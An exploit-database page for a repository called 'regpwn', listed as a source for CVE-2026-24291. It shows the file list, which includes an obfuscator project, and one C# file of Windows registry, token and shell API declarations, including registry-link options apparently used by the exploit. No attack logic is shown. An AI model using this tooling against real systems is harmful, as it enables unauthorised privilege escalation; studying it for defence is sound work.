Exploit databaseDownload repository ZIP
GH-5973873a87bf12edc716a081d7077a45
tracyliving606/regpwn
Sources for CVE-2026-24291
3 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files10
tracyliving606/regpwnRevision 27a4574023f4
- ↑..Parent directory
- Properties/
- packages/
- App.config
- Config.cs
- Confuser.crproj
- Program.cs
- RegPwn.csproj
- RegPwn.sln
- WindowsApi.cs
- packages.config
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
RegPwn/WindowsApi.cs
C# · 6,190 bytesusing System;
using System.Runtime.InteropServices;
namespace RegPwn
{
public class WindowsApi
{
[DllImport("ntdll.dll", CharSet = CharSet.Unicode)]
public static extern uint NtDeleteKey(IntPtr KeyHandle);
[DllImport("advapi32.dll", CharSet = CharSet.Unicode)]
public static extern IntPtr GetCurrentProcessToken();
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(IntPtr handle);
[DllImport("advapi32.dll", CharSet = CharSet.Unicode)]
public static extern bool GetTokenInformation(
IntPtr TokenHandle,
int TokenInformationClass,
IntPtr TokenInformation,
int TokenInformationLength,
out int ReturnLength);
[DllImport("shell32.dll", CharSet = CharSet.Unicode)]
public static extern bool ShellExecuteEx(ref SHELLEXECUTEINFO lpExecInfo);
[DllImport("user32.dll")]
public static extern bool LockWorkStation();
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern int RegDeleteKey(uint hKey, string lpSubKey);
[DllImport("advapi32.dll", CharSet = CharSet.Unicode)]
public static extern uint RegCreateKeyExW(
uint hKey,
string lpSubKey,
uint Reserved,
string lpClass,
uint dwOptions,
uint samDesired,
IntPtr lpSecurityAttributes,
out IntPtr phkResult,
out RegistryDispositionValue lpdwDisposition);
[DllImport("advapi32.dll", CharSet = CharSet.Unicode)]
public static extern uint RegSetValueExW(
IntPtr hKey,
string lpValueName,
uint Reserved,
uint dwType,
byte[] lpData,
uint cbData);
[DllImport("advapi32.dll", CharSet = CharSet.Unicode)]
public static extern uint RegCloseKey(IntPtr hKey);
[DllImport("advapi32.dll", CharSet = CharSet.Unicode)]
public static extern uint RegDeleteKeyW(IntPtr hKey, string lpSubKey);
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct SHELLEXECUTEINFO
{
public int cbSize;
public uint fMask;
public IntPtr hwnd;
public string lpVerb;
public string lpFile;
public string lpParameters;
public string lpDirectory;
public int nShow;
public IntPtr hInstApp;
public IntPtr lpIDList;
public string lpClass;
public IntPtr hkeyClass;
public uint dwHotKey;
public IntPtr hIcon;
public IntPtr hProcess;
}
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern int RegOpenKeyEx(
uint hKey,
string lpSubKey,
uint ulOptions,
uint samDesired,
out IntPtr phkResult);
public const uint HKEY_CURRENT_USER = 0x80000001;
public const uint HKEY_LOCAL_MACHINE = 0x80000002;
public const uint REG_OPTION_CREATE_LINK = 0x00000002;
public const int REG_OPTION_OPEN_LINK = 0x0008;
public enum RegistryDispositionValue : uint
{
REG_CREATED_NEW_KEY = 0x00000001,
REG_OPENED_EXISTING_KEY = 0x00000002
}
public const int TokenUser = 1;
public const int TokenGroups = 2;
public const int TokenPrivileges = 3;
public const int TokenOwner = 4;
public const int TokenPrimaryGroup = 5;
public const int TokenDefaultDacl = 6;
public const int TokenSource = 7;
public const int TokenType = 8;
public const int TokenImpersonationLevel = 9;
public const int TokenStatistics = 10;
public const int TokenRestrictedSids = 11;
public const int TokenSessionId = 12;
public const int TokenGroupsAndPrivileges = 13;
public const int TokenSessionReference = 14;
public const int TokenSandBoxInert = 15;
public const int TokenAuditPolicy = 16;
public const int TokenOrigin = 17;
public const uint STANDARD_RIGHTS_REQUIRED = 0x000F0000;
public const uint STANDARD_RIGHTS_READ = 0x00020000;
public const uint STANDARD_RIGHTS_WRITE = 0x00020000;
public const uint STANDARD_RIGHTS_EXECUTE = 0x00020000;
public const uint STANDARD_RIGHTS_ALL = 0x001F0000;
public const uint REG_OPTION_NON_VOLATILE = 0x00000000;
public const uint REG_OPTION_VOLATILE = 0x00000001;
public const uint KEY_QUERY_VALUE = 0x0001;
public const uint KEY_SET_VALUE = 0x0002;
public const uint KEY_CREATE_SUB_KEY = 0x0004;
public const uint KEY_ENUMERATE_SUB_KEYS = 0x0008;
public const uint KEY_NOTIFY = 0x0010;
public const uint KEY_CREATE_LINK = 0x0020;
public const uint KEY_WOW64_32KEY = 0x0200;
public const uint KEY_WOW64_64KEY = 0x0100;
public const uint KEY_WOW64_RES = 0x0300;
public const uint DELETE = 65536;
public const uint KEY_READ = ((STANDARD_RIGHTS_READ | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS | KEY_NOTIFY) & (~SYNCHRONIZE));
public const uint KEY_WRITE = ((STANDARD_RIGHTS_WRITE | KEY_SET_VALUE | KEY_CREATE_SUB_KEY) & (~SYNCHRONIZE));
public const uint SYNCHRONIZE = 0x00100000;
public const uint REG_SZ = 1;
public const uint REG_EXPAND_SZ = 2;
public const uint REG_BINARY = 3;
public const uint REG_DWORD = 4;
public const uint REG_MULTI_SZ = 7;
public const uint REG_QWORD = 11;
public const uint REG_LINK = 0x00000006;
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
}
}